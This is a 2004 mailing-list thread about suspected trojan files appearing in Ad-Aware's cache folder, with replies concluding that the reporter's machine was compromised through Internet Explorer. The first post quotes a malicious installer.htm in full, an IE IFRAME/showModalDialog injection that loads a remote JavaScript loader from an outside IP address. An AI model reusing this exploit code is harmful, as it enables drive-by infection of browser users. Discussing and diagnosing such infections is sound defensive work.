Unusual Activity in Ad-aware 6 Personal, Build 6.181

[fedhead]

Sorry about my previous post, Norton picked up the html code an filtered my
e-mail. Here is the original post without the html flags

Hello,

My apologise if I am posting in the wrong list but I am not sure if this is
a known issue in Ad-aware or if this even is an issue with Ad-aware.

I have written a script to run ad-aware to scan the registry and files from
Windows XP Scheduled tasks:

rem Scan the local registry
"C:\Program Files\Lavasoft\Ad-Aware 6\Ad-Aware.exe" +c +1 +A

rem Scan the file system:
"C:\Program Files\Lavasoft\Ad-Aware 6\Ad-Aware.exe" C:\ +a +1 +A

Seems benign enough. Every night when it runs, after the first scan of the
registry, it creates four files in the C:\Program Files\Lavasoft\Ad-Aware
6\cache folder which Norton AV catches as trojan scripts:

exploit.chm
installer.htm
shellscript.js
shellscript_loader.js

In installer.htm, it appears to use one of the IE IFRAME exploits to
download the java script files.

cat installer.htm

<script language="Javascript">

function InjectedDuringRedirection(){

showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialo
gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT
SRC=\\'http://62.131.86.111/security/idiots/repro/shellscript_loader.js\\'><
\/script>'";
}

</script>

<script language="javascript">


setTimeout("myiframe.execScript(InjectedDuringRedirection.toSt ring())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('<IFRAME ID=myiframe NAME=myiframe SRC="redir.jsp"
WIDTH=200 HEIGHT=200></IFRAME>');

</script>


The most unusual part is that it happens at the end of the registry scan in
Ad-aware. A google search doesn't turn up any relation between this exploit
and Ad-aware so it could be something unique to my system but at this point
I am at a loss as to what it could be.

I also have an 'image' of my Windows XP Pro install in a VMware where I have
been testing SP2 and the files also exist there as well.

Any info would be appreciated.

Thanks,
Matt

[Steve Ryan]

Hi,

Well, this is odd. I did not find any of those files you mentioned. I
didn't find a cache folder either. I updated Ad-Aware with the latest
definitions and then initiated a scan. It created a 'cache' folder
where you mentioned, although I didn't open it. I let it finish the
scan and then the 'cache' folder disappeared. I cleaned the 30 or so
'tracking cookies' it found and it created a cache folder again. I was
going to open it, but then I closed out Ad-Aware not even thinking and
the cache folder disappeared.

Then I opened Ad-aware, ran a scan.. it immediately created a 'cache'
folder but upon inspection, it's empty. I checked it multiple times
during the Ad-aware scan, and it stayed empty. This time upon
completion, before I could close Ad-aware, the 'cache' folder disappared.

Nothing unusual that I could find anyway.

Windows XP + SP1a + All critical/XP updates..

HTH.

fedhead wrote:

> Sorry about my previous post, Norton picked up the html code an filtered my
> e-mail. Here is the original post without the html flags
>
> Hello,

>
> Seems benign enough. Every night when it runs, after the first scan of the
> registry, it creates four files in the C:\Program Files\Lavasoft\Ad-Aware
> 6\cache folder which Norton AV catches as trojan scripts:
>
> exploit.chm
> installer.htm
> shellscript.js
> shellscript_loader.js
>
> In installer.htm, it appears to use one of the IE IFRAME exploits to
> download the java script files.
>

>
> The most unusual part is that it happens at the end of the registry scan in
> Ad-aware. A google search doesn't turn up any relation between this exploit
> and Ad-aware so it could be something unique to my system but at this point
> I am at a loss as to what it could be.
>
>
> Any info would be appreciated.
>
> Thanks,
> Matt
>
>
>
>
>
>
>

[Greg Kujawa]

In-Reply-To: <LIEKJLEBDKKNBDDGIJAAAEBECFAA.fedhead@rogers.com>

These files are similar to those that I found when posting a message to Bugtraq regarding unpatched MSIE vulnerabilities. I doubt that Ad-Aware itself is creating these files. They are probably being pulled or scanned from a Temporary Internet Files folde
r. That's where I found mine after testing out a malicious site. The site installed spyware and these handful of temporary files you refer to were left in the Temporary Internet Files folder.

[Noone@Nowhere.com]

On Sun, 20 Jun 2004 10:36:16 -0400, you wrote:

>Any info would be appreciated.

Not only do I not have this cache folder in my installation of (the =
latest)
Ad-Aware, I'm not able to recreate the described activity. Furthermore, =
a quick
Google on the IP address in the script source turns up a number of hits =
on an IE
exploit with some relevant information, including a couple of links back =
to this
very list where it was discussed a few weeks ago. I'd say your box has =
been
compromised by something other than Ad-Aware.